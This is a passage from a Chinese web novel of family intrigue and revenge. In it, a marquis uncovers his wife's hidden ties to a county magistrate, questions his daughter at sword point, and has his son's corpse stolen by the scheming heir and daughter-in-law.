挽星点头,“邢泽亲自查的,对方姓付名江,是青州的县令,这些时日才来的京城,按时间推算,应是和老夫人差不多时间出发的。”
武德司里,邢泽也同谢霆舟汇报这事。
谢霆舟眉峰微敛。
老夫人这些年就在青州,两人都是从青州来京,时间也一致。
“只怕是结伴出发的。”
他起身翻出外地官员名册,找到付江那一页,眉头蹙了蹙,“此人竟在青州为官多年。”
在大渊,通常情况下,县令三年就得换个地方,这人却能多年不动,
只怕身后有依仗,他合上名册,吩咐道,“查。”
夜里回府时和忠勇侯碰上,他问忠勇侯,“你可识得付江?”
第67章 侯爷持剑审女儿
忠勇侯是孝子,老夫人在青州,他自然会了解当地的官员情况。
当地官员亦会因着他的身份,主动交好,付江这人他的确知道一些,不过没见过。
他问,“怎的突然问起付江?”
谢霆舟道,“有桩案子涉及他。”
没有案子,他也能给他扯出一桩案子来。
何况,一个和柳氏牵扯,又多年不调动的人,身上定然有问题。
武德司有监督各地官员之责,忠勇侯没有怀疑。
想了想,道,“人就是青州本地的,没什么大功绩,但愿意亲民,颇受当地百姓爱戴。
县城在他的治理下无功无过,他向朝廷自书身无大志向,只想扎根老家。
加之他家族凋零,身后没什么复杂关系,与州府上峰也算不得亲近,而青州更非富庶之地,因而朝廷允其意愿。
你祖母曾同我夸赞,这些年在青州,颇得他关照,他是犯了何事?”
“武德司办案,暂且保密。”
谢霆舟问,“你可有给他方便?”
想到庄上被害死的那个县令,忠勇侯不是很有底气地道,“我怎是那种人。”
付江对母亲多有关照,他会在合理范围内感谢,但绝没乱用私权。
庄子上那次是他头回破例,为的还是往皇帝手中递把柄。
谢霆舟眸子微落。
忠勇侯没开方便之门,不代表老夫人和柳氏不会借他的势。
付江没大志向,这种鬼话他可不信,没大志向的人怎敢与忠勇侯府主母纠缠多年,还哄得老夫人为他遮瞒。
如今知道付江此人,又知他是和老夫人差不多时间来的京城,谢霆舟便怀疑叶桢引忠勇侯去庄上抓奸那次,是老夫人捣的乱。
那晚出现在柳氏房中的根本不是蛮奴,而是付江。
谢霆舟相信情爱,但不信付江对柳氏只有情爱,否则,他为何要冒险让柳氏生下他的孩子,养在侯府。
不过是野心罢了。
这侯府原本该是好友的,如今好友得不到,那些暗地里的老鼠也休想得到。
谢霆舟决意多透露些。
他露出一丝困惑,“这么说,你与他关系算不得亲近,可我们查付江行踪时,发现他去了马场看谢瑾瑶。”
忠勇侯沉脸,“付江去看瑾瑶?”
他一个外男去看瑾瑶做什么?
谢霆舟点头,“还带了好些东西,瑾瑶似乎也与他相识。”
忠勇侯就想到了给谢瑾瑶送东西的人。
他问道,“你可知付江何时来的京城?”
谢霆舟答,“说来也巧,竟是与老夫人时间相同。”
忠勇侯脸色越来越沉,吩咐陈青,“备马,去马场。”
柳氏嘴里问不出真话,又有老夫人护着,但瑾瑶年轻,城府不及柳氏深。
马场。
火把下,谢瑾瑶满脸怨气地刷马,贺铭在不远处盯着,他身后还有两匹等着要刷的马。
这是谢瑾瑶今日的任务,她做事慢又偷懒,罗兰巧都忙完睡下了,她才做了一半。
“我是侯府嫡女,你是我父亲的部下,对我如此严苛,就不怕我父亲记恨你,影响你前程。”
她不做完今日的事,贺铭不放她去休息。
可她实在累得不想动,便放下身段同贺铭说好话。
“你未婚妻的事我并非有意,如今也得了惩罚,你何不宽宏大量就此原谅我,等我回去自会补偿你,我父亲也定然念你这个情。
人死不能复生,干嘛非要揪着过去不放,这满京城有大把的女子,只要你放我回去,我替你寻个名门贵女改换门庭岂不是更好……”
“噗!”
她话没说完,贺铭一个石子砸进桶里,溅得谢瑾瑶一身水。
“你这个疯子。”
到底是大小姐脾气,被水一溅,心头的怒火便窜了起来,“有本事你当真将我关在这一辈子,否则等我回去定不饶你。
你也看到了,父亲并没阻止人来看我,可见他心里是有我的。”
话落,她便听到马蹄声,转头看去竟是忠勇侯。
谢瑾瑶心头狂喜,冲贺铭得意道,“看,我父亲来了,你等着被收拾吧。”
她觉得父亲半夜前来,定是来看她的。
“父亲!”
她丢了马刷迎上前,“父亲,您可来了,您再不来女儿就要被害**。”
她将自己的双手伸出来给忠勇侯看,“您看女儿的手都起茧子了,别人都歇下了,他还故意让女儿做事,父亲,您带女儿回去吧。”
贺铭也上前行礼,并未解释。
忠勇侯拍了拍他的肩,“你先去休息。”
贺铭拱手离开。
谢瑾瑶不服,“父亲,您怎不罚他……”
忠勇侯训她,“他的未婚妻丢了性命,而你不过是长了几个茧子,他若真要磋磨你,你早就没命了。”
谢瑾瑶在马场情况如何,忠勇侯怎会不知,何须她来告状。
贺铭闻言,微微松了口气。
他并非不怕侯爷记恨,可他若轻易原谅谢瑾瑶,又如何对得起未婚妻。
忠勇侯来此不是给谢瑾瑶主持公道的。
“白日来看你的男子是谁?为何会来
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看你?”
他没提付江名字,想看女儿对此事知道多少,又能说几分真话。
谢瑾瑶心里的欢喜荡然无存,恨意再度翻涌上来,“父亲当真不管女儿了吗?
连有人来看我,你都要大半夜过来质问。
女儿这些日子吃了多少苦,受了多少罪,父亲可知道?
外人尚且知道心疼女儿,您却一句安慰都没有。”
祖母回来了,有祖母在,父亲再心狠也不能对她有更重的惩罚。
她底气足了很多。
“如实回话,为父或许能减免你的罪责。”
忠勇侯抛出诱饵。
谢瑾瑶现在最想摆脱这里,很难不心动。
“他是付伯伯,是青州县令,女儿陪母亲去青州看望祖母时,与他相识。
他说女儿乖巧可爱,比他家里的两个女儿讨人喜欢,得知女儿被自己的父亲罚到马场,他心疼女儿,所以带了许多东西来看望女儿。”
话里话外都不忘埋怨忠勇侯。
忠勇侯冷哼,“他会如此待你,还不是看在为父面上,想通过你攀上为父。”
谢瑾瑶累了一天,怒气冲天,只想证明是忠勇侯对她不够关心,脑子早就丢了。
“才不是,这么多年,他对祖母和母亲都极好,却从未同父亲邀功。”
忠勇侯继续套话,“让你祖母和母亲领他的情,再借本侯之势为他谋好处,不也一样。
否则他一个小小县令,哪来的钱财年年给你送那么多贵重物品。”
“江伯伯才不是那种人,他说送东西给我,是因为觉得我是有缘的晚辈。”
忠勇侯拳头紧攥,柳氏又骗了他,根本不是什么富商女子,而是付江送的。
可付江为什么要这般记挂瑾瑶?
谢瑾瑶心高气傲,又何时竟甘心给一个县令当晚辈了?
忠勇侯脑子嗡嗡作响,听得谢瑾瑶继续道,“且付伯伯有暗下经商,家底殷实,我曾虽随母亲去过他的府邸,不比侯府差多少……嘶……”
话及此,她突然想起来母亲叮嘱过,不可将付江家里的是事透露给别人,包括父亲。
及时刹车让她不小心咬了舌头,疼得眼中眼泪打转,“父亲,女儿好累,带女儿回府吧。”
忠勇侯却眉目凌冽,“说,你母亲为何会带你去付家?”
谢瑾瑶终于意识到不对了,“女儿也不知道,女儿知道的就这些……”
冰冷的长剑架在了谢瑾瑶的脖颈上,比剑更冷的是忠勇侯的声音。
“若敢隐瞒一字,本侯会让你再无开口的机会。”
第68章 夜半盗尸
沙场老将一身肃杀之气尽显,冷峻威严。
谢瑾瑶从未见过这样的父亲,又是夜里,她吓得直接跪下了。
“是付伯伯相邀,我们每次去看祖母,他都会去拜访祖母,然后请我们去他家做客。
偶尔……偶尔也会留宿,他……他家的住宅外面瞧着不显,里头奢华,比祖母清修的宅院住得更舒服。”
“你母亲也留宿?”
“是,我们都住他家,祖母有时候也去,付伯伯与祖母投缘,专门在他家给祖母留了院子。”
这些年,柳氏几乎每年都会带孩子们去青州,也就是说,每年她都会住进别的男人家里。
而他的母亲非但没阻止,反而纵容。
母亲她想做什么?
忠勇侯的声音越发冰冷,“为何先前从没听你们说过?”
“母亲说与付伯伯交好,是感念他照顾祖母,也是希望往后他能对祖母更尽心。
有些事若说出去,容易叫人怀疑他居心,若传出不好的话,让付伯伯为此避嫌与祖母疏离,祖母一人在青州总叫人不放心。”
且她也喜欢付江的大气,每年收他那么多东西,她对他自然有好感,替他守口如瓶不是难事。
她实在怕了忠勇侯现在的样子,担心他一气之下真砍了自己,就补了句,“您也没问过,女儿就没特意提。”
忠勇侯心中发寒,他不问,他们便瞒着他,当真是好啊。
他堂堂忠勇侯府的老夫人,那还需要讨好一个县令来关照,只要他开口,便是青州知府也会上赶着巴结。
“云舟这些年,可是也在青州?”
谢瑾瑶摇了摇头,又点了点头,“听母亲说哥哥去过青州,但又离开了,具体去了哪里女儿不知。
哥哥似乎不喜欢付伯伯,言语间很是瞧不上的样子,母亲为此还骂他不知礼。”
她求饶,“父亲,女儿知道的就这些了,再无隐瞒,求父亲饶命。”
死亡威胁在前,她已经不敢去想忠勇侯接她回府的事了。
只想着等忠勇侯走了,一定要设法将今晚之事告知祖母,求祖母救她。
祖母能救母亲,定然也能救她。
可忠勇侯冷冰冰的话将她的希望砸得稀碎。
他说,“我会让贺铭带你去军营旁边的**所,往后你便跟着她们浣衣种地,再敢如在马场这样偷懒,谢瑾瑶,你便永无回府可能。”
“父亲不要啊。”
**所里不是敌国俘虏,就是犯事的女子。
听说她们日日无自由,却有干不完的活,填饱肚子更是奢望,甚至还有的需要充当**供军中将士满足需求。
“父亲,我是侯府嫡女,是您忠勇侯的女儿,怎么能去那种地方。”
忠勇侯定定看着她,他倒没想过让谢瑾瑶为**,他只是需要在查明真相前,隔绝谢瑾瑶,免她将今晚之事透露出去。
而**所归军营管,是他的地盘,若他不透露,付江他们找不到她。
可看着看着,他突然察觉谢瑾瑶的容貌竟无一丝像他。
先前那个荒诞的念头,在他心里深深扎了根。
另一头,叶桢也没睡,她收到消息,付江看望谢瑾瑶后,又去了庄上祭拜谢云舟。
叶桢冷笑,“他倒是忙得很。”
心中越发笃定,谢云舟也是付江的孩子。
她拿着夜行衣去屏风后更换,吩咐挽星,“你去趟墨院,就说我今晚有事不过去了。”
面具进程在谢霆舟预期范围内,今晚不去也不会耽误。
挽星领命,很快回来,只不过后头跟了个谢霆舟。
“你可是要去庄上?”
男人开门见山。
叶桢抿了抿唇,“兄长为何如此认为?”
她的确要去庄上。
同样一身黑衣的男人迈步而入,“付江今日去了庄上祭拜谢云舟,我猜谢云舟也是他的孩子。
你想让忠勇侯知道这点,却又无法直接告知。
只能让谢云舟被人祭拜的事暴露,引着忠勇侯去查究竟是谁祭拜了谢云舟。
谢云舟被埋的草率,庄子人都不知情,想要被发现,只有……”
他顿了顿,从身后拿出一把洛阳铲,“掘墓盗尸。”
哪怕埋谢云舟的地方是一块平地,可只要挖出里头的棺椁,就能被人发现。
庄子附近发现棺椁,还被盗了,庄子的人自会上报。
所有心思全被猜中,叶桢开始怀疑与谢霆舟合作是不是明智之举。
这个男人聪明得让人生畏。
但既然被猜中,叶桢也没瞒的必要,将藏于后腰的铲子也拿了出来,“兄长可是要代劳?”
盗尸不是什么美差,送上门的劳力不用白不用。
谢霆舟笑着跟在她身后,只不过后头还吊着两尾巴。
邢泽和扶光一人抱着一把铲子,他们才是今晚的主力军。
从怀里掏出两块帕子,邢泽递给扶光一块,为了主子能抱得美人归,他们牺牲老大了……
四人刚出府,蛮奴从外头回来,同老夫人禀道,“奴找去付大人下榻的地方,才知他去了马场,等奴赶到马场,他人已离开,再找到他时,他从庄上祭拜云舟少爷回来。”
老夫人发急,“他怎的这般鲁莽,一天
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连跑两个地方,一旦被人知晓,定能猜出什么。”
蛮奴劝慰,“您放心,付大人行事向来谨慎,应当无人发现。”
老夫人还是不踏实,“侯爷可回来了?”
下人回,“回来了,不过同世子说了几句话,又出去了,说是营中有事。”
忠勇侯出门时,留了个心眼,没让人知晓他去马场,故而老夫人院中的下人无法得知他真正的行踪。
老夫人眼中的儿子,从不与她玩心眼,所以,她也没怀疑。
“世子呢?”
老夫人最不放心的还是谢霆舟。
从前的孩子和他父亲一样都有武将的赤诚,说难听点,就是一根筋,不会那么多弯弯绕。
边境锻炼多年,老夫人发现他依旧直白,却精明了许多。
下人支吾,“世子回府便入了墨院,墨院里头情况小的无从得知。”
墨院内外皆护卫,外人想要探得里头消息很难。
蛮奴见老夫人不安,问道,“可要奴潜入看看情况。”
老夫人想了想摇头,“再等等。”
墨院防卫情况,她也有所了解,担心蛮奴进去,未必能悄无声息出来。
蛮奴一旦暴露,谢邦只怕会疑心,她这个母亲为何要隐瞒婢女的身手。
许多事,一旦信任缺失,就能牵扯出许多不必要的麻烦。
可她到底也不放心,叮嘱道,“最近都机灵点,留意他们几个的神情动态。”
这几个指的自然就是忠勇侯,谢霆舟和叶桢三人。
被她提防的三人,忙完各自的事,都纷纷往侯府赶。
叶桢和谢霆舟先回府。
分别时,谢霆舟叮嘱叶桢,“庄上的人约莫得中午才能到,你不必起得太早。”
叶桢颔首,“今晚多谢兄长。”
她原本让庄头去发现此事,再上报,谢霆舟却将扶光留下,让他等天明就引着人去盗墓现场。
叶桢也知这样更稳妥些,因而道谢。
谢霆舟笑了笑,“一条船的何须如此见外。”
那种怪异的感觉又上来了,叶桢突然不敢多呆,福了福礼转身回了自己院子。
忠勇侯是快中午时才回来的,他是个尽职的武将,忙完私事又去了军营,处理好营中的事才回府洗漱换衣裳。
刚吃完午饭,叶桢便到了。
“父亲,庄上来报,附近有坟被盗,儿媳听他描述,那地方应是云舟。”
忠勇侯当时将人埋在何处,并没隐瞒叶桢。
叶桢神情有些不安,“可那墓里也没什么值钱的东西,怎的就被盗墓贼盯上了,尸身也不见了……”
第69章 套话老夫人
忠勇侯腾地一下站起身,“被盗了?”
当时气头上,谢云舟连坟包墓碑都没有,外人怎知那有墓?
只算有经验的盗墓贼能发现动土痕迹,也该知道,这样随便葬下的棺椁不会有值钱的物件,根本不值得费力开掘。
除非盗墓人的目标就是尸身。
寻常人谁会要一具腐烂的尸体?
忠勇侯想到了老夫人,想到了柳氏。
柳氏在佛堂自身不保。
老夫人若要给谢云舟重葬,应会问过他。
随即他想到了付江。
付江与柳氏他们都相熟,昨日还去看过瑾瑶,会不会是他做的?
“除了尸身不见,可还有别的痕迹?”
叶桢道,“听庄头说墓前有香烛和纸钱灰烬。”
动手之前还祭拜了!
忠勇侯眸色发暗,但又有一点说不通,对方盗尸,为何没复原墓地?
难道是故意挑衅?还是有别的原因,亦或者是有人挑拨栽赃?
刚这样想,叶桢的声音又响起,“民间有配冥婚之说,庄头说先前附近也发生过偷尸配婚的事,他们通常动手前会祭拜知会死者。
是早起的牧童听到动静,但因害怕没敢上前,只让跟着的黄狗吠了几声,就跑回庄子通知庄头他们。
墓地在侯府庄子的归属范围内,庄头不知要不要报官,故而来请示。”
是狗吠惊动了贼人,才让他顾不上收拾残局?
配冥婚的事忠勇侯也听过,不排除这个可能。
他想到谢霆舟在查付江,谢霆舟能知道付江去看了谢瑾瑶,当也会知道付江去了庄子。
是不是付江,或许该问问他。
刚这样想,人就到了,忠勇侯让叶桢先回去。
谢霆舟却对叶桢道,“此事莫要对外宣扬,让庄上的人先回吧。”
叶桢看向忠勇侯,见他点头,便应了谢霆舟。
她刚出门,忠勇侯迫不及待问道,“付江去了庄上?”
谢霆舟点头,“昨晚得到消息,他去祭拜了谢云舟。
本想告诉你的,但你不在府上。”
忠勇侯心下发沉,他因为付江去了马场。
而付江却又去看他另外一个孩子。
“云舟的尸身被盗,是不是付江做的?”
谢霆舟看忠勇侯,好似看到绿油油的光圈萦绕在他头顶。
他眼也不眨道,“我的人跟着他从庄子回来,见他在客栈歇下便撤了。”
他在收到挽星传话,猜到叶桢行动后,才让人撤的。
武德司的人也是人,不是十万火急的案子,不会日夜不歇地盯人。
谢霆舟曾被教导君子不可妄言,但他不做君子已好多年。
故而说谎毫无压力。
忠勇侯自己也是给朝廷打工的,明白打工人的感受,没觉察出这些话的破绽。
谢霆舟继续道,“至于付江夜半有没有再去庄子偷尸体,你可以去问问老夫人。
付江一个青州过来的,想来没有掐指会算的本事,能自己找到谢云舟的墓。”
这话几乎指明老夫人和付江关系不一般。
可忠勇侯才从谢瑾瑶那知道他们的亲近,他还什么都没同谢霆舟说,谢霆舟是怎么知道的?
“你为何觉得是老夫人告诉了付江?”
谢霆舟斜了他一眼。
“当局者迷,旁观者清,付江和老夫人同一时间从青州过来,这原不是什么不能公开的,却无人提及。
付江先是去看谢瑾瑶,又是祭拜谢云舟。
他一当地父母官,和谢瑾瑶兄妹关系都好到如此地步,按理,和回青州荣养的侯府老夫人不会不熟。
既熟,为何来京这么久不登门拜见?
寻常人不应该趁你在京时,趁机和你拉上关系么?
可他没有,岂不是有欲盖弥彰之嫌?
只怕他们是不愿你知晓他们的熟络,而谢云舟葬在何处,与付江相识的人里,只有老夫人和柳氏知道。
不是老夫人告知的,难不成是柳氏?”
忠勇侯咬了咬后槽牙,柳氏可是一直被关着的,她只知谢云舟被葬在了庄子,却不知具体位置。
谢霆舟的声音继续响起,“若付江是不屑与你这忠勇侯攀交,那他所做种种岂不是更可疑?”
忠勇侯又不是真的蠢,心里再不愿接受,也不得不承认谢霆舟的话有理有据。
“可我当真是她的亲儿子。”
他喃喃将老侯爷那些事转述给谢霆舟。
“我是父亲亲眼看着出生的,他总不会弄错自己的儿子。
而且母亲这些年对我一直很好。”
若非如此,他先前怎会那般信任母亲。
谢霆舟蹙了蹙眉。
这样听来忠勇侯的身世的确没问题。
但反常必有妖。
“有没有可能老侯爷同你撒了谎。”
“不可能,我爹为人正派,对我更是疼到骨子里,他为何要找个假的母亲来骗我?”
父亲对他的宠远近闻名,他虽是儿子,却是父亲捧在手心养大的。
只要有空,父亲就会陪他,除了习武时对他严格和不让他过多参与后宅之事,只要他想要的,父亲总是笑眯眯地满眼慈爱,不曾同他失信过一次。
几十年的父子生涯,他更没发现父
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亲同他撒过一次谎。
和他同龄的,没有一个不羡慕他的。
就是当今陛下幼时,也曾偷偷将他叫到暗处,说要用他的皇子身份和他换个爹。
老侯爷将忠勇侯当宝贝疙瘩这件事,谢霆舟也有耳闻。
只人性复杂,这世上许多事更是叫人难以捉摸。
他今日说的也够了,便到,“那你慢慢查吧,我先回去了,对了,别忘了我的相看宴。”
忠勇侯佯装踢他,觉得谢霆舟这是忒没有人情味。
他都这样了,他还想着他的相看。
谢霆舟跳开,笑道,“我这做儿子的,总不好跟着看老子的笑话。
那就只能看看心仪的姑娘了,可也不能**夜里想方设法见人家,办个相看宴,我也好看得名正言顺。”
“她都嫁人了,怎会赴宴。”
谢霆舟笑容加深,“办个和上回一样的宴不就行了。”
上回的宴是连家眷一并请来的。
忠勇侯自己满脑子的官司,实在没精力管谢霆舟的事,却又不得不管。
“莫非你那心上人,是上次来赴宴的人之一?”
谢霆舟迈步出门,“到时候你便知道了。”
忠勇侯知道他不会说,便懒得再问,他去了老夫人处。
“母亲,云舟的尸身不见了。”
忠勇侯悲声道,“极有可能是被人盗去配了冥婚。”
他假意对付江的事毫无察觉。
这话砸的老夫人手中的茶盏都掉了,“怎么会这样?
谁这么大胆子,敢让侯府公子配冥婚?你可有去找?”
忠勇侯看她,为难道,“母亲,当日儿子否认那是云舟,眼下有何立场去找回他的尸身?”
老夫人急怒之下,倒是忘了这一点,被忠勇侯提醒,她捶他。
“你还有脸说,老身就没见过像你这样狠心的爹。”
她力气依旧如以往那般,瞧着重,打在身上却极轻,似舍不得下手般。
“难道你就这样不管了?任由你儿子死后不得安宁?”
忠勇侯叹气,“只能暗地查访,不过希望不大。
云舟被埋的隐蔽,对方都能找到,只怕是有通奇门异术的方士相助,这些人通常也擅长抹除痕迹。”
老夫人神色一僵,随即有心虚一闪而过。
她那日出门访友,中途见了付江,告知了他云舟的埋骨处。
会不会是付江去祭拜云舟,留下香烛纸钱的痕迹,才叫人发现了那墓?
若是如此,那真是冤孽。
忠勇侯不错眼的盯着老夫人,将她神情尽收眼底,顿觉手心脚心皆是冰寒。
第70章 侯爷知道了
忠勇侯又是一声叹,“且儿子让霆舟查了,近日附近没有需配冥婚的女子去世。
说不得作案之人是外地的,又不能闹出大动静,如此,想要找回来更难了。”
老夫人心里一咯噔。
附近没有需要配冥婚的?
那会不会是付江带走了云舟的尸身?
他曾对云舟被埋庄子很不满,难道是他冲动之下想给云舟换个地方?
忠勇侯盯着自己母亲的反应,手指一点点蜷起,最后紧握成拳。
蛮奴感受到他身上释放的杀意,看了过来。
不被亲情牵绊时,忠勇侯保持武将特有的敏锐,察觉蛮奴的探究,他视线倏然转向蛮奴。
蛮奴没有防备,心下一慌,只得佯装傻气直直与忠勇侯对视。
“蛮奴不去找,蛮奴要保护老夫人。”
老夫人被蛮奴的话拉回神,她瞪忠勇侯,“她一个傻子,你还指望她去找?”
“儿子冤得很,是她盯着儿子,儿子以为她有话说。”
忠勇侯有些烦躁道,“儿子也是被这些糟心事给弄糊涂了,她一个只会吃喝的傻东西,能有什么正经事。”
他站起身,“行了,母亲好好休息吧,儿子过来也是同你说一声,免得你不知情,日后再去庄子祭他。
若当真找不回来,那也是没办法的事。”
“你这说的什么荤话,你可是忠勇侯,怎能连自己儿子的尸身都护不住,你就不怕列祖列宗怪罪。”
忠勇侯眉间生出戾气。
“母亲可知,霆舟曾同我说,若他战死,不必送回京城大葬。
只需将他和战士们一道埋在边境,死后亡魂也要守护边境。
他做兄长的有如此觉悟,云舟却是自己走了歪路,才落得此下场。”
无人知道,他的长子,真正的铁血男儿,和大渊千千万万个牺牲的将士们一起,几年前被永远留在了边境。
没有坟头,没有墓碑,只有巨大的坑穴,坑前的石块上记载着他们乃大渊将士,以及牺牲的年月。
这也是他为何能狠心,随便埋了谢云舟的原因。
老夫人不知他的痛楚,她急的是宝贝孙儿的去处,语气也不好了。
“霆舟如今也会说场面话了,他是侯府世子,若真战死,那是无上荣光,怎可能寂寂无名地被葬在外头。
好了,我们不说霆舟,说云舟,你务必将他找回来,否则你别认我这个母亲。”
忠勇侯似被吓住了,忙返回老夫人身边,哄劝道,“母亲,儿子没说不找,是不能大张旗鼓,这才让你有个心理准备。”
他很是无奈,“若母亲不信,儿子可指些人给母亲亲自找。”
找吧,他倒要看看他们到底有什么势力。
老夫人打量他,见他眼底满是血丝,很是憔悴,想着谢云舟尸身被偷,忠勇侯这做父亲的心里定也不好受。
正欲软和些,就听得忠勇侯又道,“不过,母亲,瑾瑶那里,您不能再派人去了。
您时常让人送东西,那混账以为是我心软了,在马场嚣张得很。
儿子便将她送去了别地,请人好生教导一番,待她真正悔过了,就让她跟母亲前往青州,以后在青州寻个人家嫁了吧。”
老夫人又是一急,“青州哪有门当户对的好姻缘?”
她的孙女怎能随便嫁人。
“母亲,她被柳氏惯坏了,做了许多错事,儿子已不指望她在京城能嫁什么好人家。
侯府足够荣耀了,也不需要靠儿女婚事给侯府添光。”
忠勇侯目光真诚,“母亲,瑶儿是我唯一的女儿,这世间没人比我更疼她。
儿子想给她找个能包容她,真心待她好的,家不家世的并不重要。”
老夫人还没想到反驳的话呢,他又噼里啪啦道,“霆舟的婚事也不能再拖了。
儿子戎马半生,除了霆舟,其余几个孩子没一个成器的,儿子实在挫败。
想着等霆舟成了婚,儿子便奏请皇上,将这爵位传给霆舟。
往后儿子便专心教养澜舟和瑾瑶,也能有闲暇常伴母亲左右,在母亲跟前尽尽孝。”
“你才四十来岁,怎的就要让霆舟袭爵?”
老夫人不淡定了,“霆舟还年轻,你何不多带他几年?”
忠勇侯却很坚定。
“他已经足够出色了,这次大捷,他居首功,便是没有我,这一仗有他在也会赢,做忠勇侯绰绰有余。”
老夫人手指掐进掌心,她不能让谢霆舟承爵。
心里开始否了给谢霆舟娶妻的计划,“霆舟的情况你也清楚,他那容貌还有名声,想寻个好的并非易事。
但我毕竟是祖母,不会看着不管的,你先安心找云舟。
霆舟的事我会上心,只是我多年不曾在京城久住,对京城情况没从前了解,你给我些时间。”
在这时间里,她得设法让眠眠重新得到谢邦的心,扭转谢邦让爵的心思。
在澜舟长大前,他最好都别动这心思,否则别怪她对谢霆舟下手。
忠勇侯却道,“母亲不熟没关系,这事让叶桢操办便可。
上次那宴请她便做得很好,解决我底下不少光棍。”
老夫人再也绷不住,沉了脸,“你也是糊涂了,她一个弟媳,怎好给大伯哥相看。”
又不是满世界宣告,办宴是给谢霆舟说亲,为何叶桢就操持不得。
何况她眼下是侯府掌家人,由她操办也说得过去。
忠勇侯眸色渐渐幽暗。
母亲找这许多借口,是舍不得这爵位吗?
可他的爵位在立世子时,便是定下要给长子的,母亲反对,是想把爵位给谁?
给澜舟吗?
可澜舟和霆舟都是他的儿子,母亲的孙子,于母亲来说有何区别?
何况澜舟将来是何模样还未可知,而霆舟已然出
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色,世人都知该如何选。
母亲却再次反常。
莫非……澜舟亦不是他的孩子?
忠勇侯彻底没了套话的心思,敷衍老夫人几句便离开了。
回到自己的院子叫来陈青,“你秘密前往青州,仔细查一查老夫人这些年和付江的联系,再查一查我的身世,祖籍那边你也走一趟。”
青州曾失守过,当时百姓不是逃了就是**,见证他出生的怕是不好找。
父亲与祖籍那边的人虽不亲近,但也并非断了联络,没准他们知道点什么。
一番试探下来,忠勇侯如今也不得不怀疑,老夫人究竟是不是他的亲娘了。
可若老夫人不是,那么老侯爷为何要骗他?
忠勇侯想查清这背后的一切。
又吩咐吴东,“你亲自盯着老夫人,谨慎些。”
他今日说的那些话,已让老夫人坐不住了,忠勇侯想看,她到底要做什么。
更想看看付江又会做出什么。
两个亲随皆领命下去。
他又让人请来叶桢,将为谢霆舟相看的事说了。
“需要什么人手你尽管提,若发现有什么异常,你可直接告知我,亦或者霆舟。
老夫人年纪大了,有些事不必搅扰她。”
这是已经不信老夫人了。
叶桢的计划完成得很顺利,她恭顺应话,“儿媳省得,会尽力办好此宴。”
自从叶桢当家后,府里的事就再没让忠勇侯操心过。
忠勇侯对叶桢也是越发的满意,见此不由心生感慨。
若谢云舟不是他的儿子,那叶桢也不是他的儿媳。
将来真相暴出来,这可怜的姑娘该何去何从。
他自己或许也会变成孤家寡人。
这个念头让他心底一片悲凉,他突然道,“叶桢,若有一日你想离府,便如实告知父亲,父亲会将这府中一半钱财赠于你。”
另一半,他想留给面具下的那个人。
若最后证明澜舟是他的孩子,那剩下的那一半,便由他们两个平分。
叶桢是女子,得多些钱财傍身。
谢霆舟过来时,刚好听到这话。
夜里做面具时,他主动提及此事,“看来老头子心里已经有数了。”
叶桢没有回应。
谢霆舟察觉不对劲,走上前,却见她垂眸发呆,“你怎么了?”
叶桢长这么大,第一次得到男性长辈的关怀,是忠勇侯给的,今日,忠勇侯决定将一半家产给叶桢。
叶桢是震惊的,震惊过后有些愧疚。
她问谢霆舟,“若有一日,他知道这一切都是我的算计,他只是我用来复仇的棋子……”
会如何?
谢霆舟眸底复杂,应是会**。
忠勇侯有他自己的傲气。
但他知这样说,叶桢定然难受,正欲想更好的措辞时,邢泽来了,“主子,付江刚鬼鬼祟祟进了康乐公主府。”
第71章 病糊涂了
付江一个时辰后才从公主府出来。
送他出府的是公主府的大管家,态度和蔼。
具体为何事,跟踪的人暂没打听出来。
谢霆舟同叶桢道,“康乐是先皇胞妹,曾是皇家最娇蛮尊贵的公主。
当今皇帝弑兄夺位,如康乐这般拥护先皇,与先皇关系亲近的公主,本不会有好下场。
但康乐曾救过皇后性命,皇后为她求情,如今,康乐虽不及从前那般得势,却依旧是皇家不可忽略的存在。”
对外,是先皇驾崩传位给当今皇帝,谢霆舟告诉叶桢的是皇家秘辛。
“公主府的大管家是康乐亲信,付江能得他亲自相送,又是半夜入府,里头牵连不一般。”
除了模仿世子,他私下里话不多,习惯点到为止,但同叶桢说话,他不嫌费力说得格外明白。
叶桢知他是好意提点,心存感激。
她前世与付江无仇,但今生她杀了谢云舟,报复了柳氏和谢瑾瑶,她们都是付江的人,叶桢与付江注定为敌。
若付江有了公主府做靠山,叶桢想要解决柳氏她们就又多了阻扰。
她想夜探付江下榻的客栈,找机会杀了他。
谢霆舟看出她心思,“老头子如今知道付江和柳氏的事,隐而不发,他有自己的计划,必定也会派人盯着付江。
他这些年培养了几个死士,平日藏在军中,都是一等一的盯梢好手,你出现只怕会被他们发现。”
于叶桢,付江存在的意义是让忠勇侯发现柳氏的不贞。
但对忠勇侯来说,付江夺妻,戏耍他多年,是不共戴天之仇。
叶桢重生以来步步筹谋皆为报仇,最是清楚唯有亲自制裁仇人,才能发泄心头恨意。
利用忠勇侯复仇,他日知道真相,忠勇侯会生气,或许会与叶桢**。
但若叶桢今夜杀了付江,剥夺了忠勇侯手刃仇人的机会,他满腔恨意无从发泄,加之算计在前,说不得最后会与叶桢反目为仇。
叶桢不想与忠勇侯为敌。
再理智些,她还不知富付江与公主府究竟是何关系,若杀了付江,却惹了公主府为敌,得不偿失。
“等查到他今晚目的,请兄长告知。”
叶桢看向谢霆舟,“不知我还能为兄长做些什么?”
公主府里的情况,她只能依靠谢霆舟,但叶桢不想欠人情。
关系不够亲近才会边界分明,谢霆舟眸色微暗。
他笑,“那便做碗素蟹粉吧,用菌油。”
叶桢亦笑,“好,再给兄长做两道没尝过的。”
只这饭到底没做成。
忠勇侯院里的人来了。
“世子,侯爷病了,不想惊动老夫人,还请您去看看。”
一旦请医,难免会被老夫人察觉,他底下的人便想到了谢霆舟。
往日连个喷嚏都少打的人,突然病倒让谢霆舟想到世子出事时,忠勇侯一滴眼泪也未落,却病了三日才睁眼。
他不敢耽搁,对叶桢道,“你先回吧,我去看看,素蟹粉不必做了。”
跟着下人到了忠勇侯房中,人已经烧得嘴唇起泡了。
听到他的声音,忠勇侯眼皮微动,却没能睁开。
谢霆舟替他号了脉,开了方子让邢泽去抓药。
昏昏沉沉的人却一把抓住谢霆舟,“别在府里取药。”
仅存的理智告诉他,他现在没力气同老夫人演母子情深。
“知道,他去外面抓。”
见他衣裳全部汗湿,谢霆舟让人备了热水,给他擦身。
忠勇侯不肯配合。
下人为难道,“小的试过多次,侯爷不让。”
谢霆舟挥了挥手,“下去吧。”
他亲自来。
忠勇侯却睁了眼,眼神迷蒙,双手抱胸,“我爹说,男子在外也当护好自己,不可随便叫人脱了衣裳,我得听我爹的。”
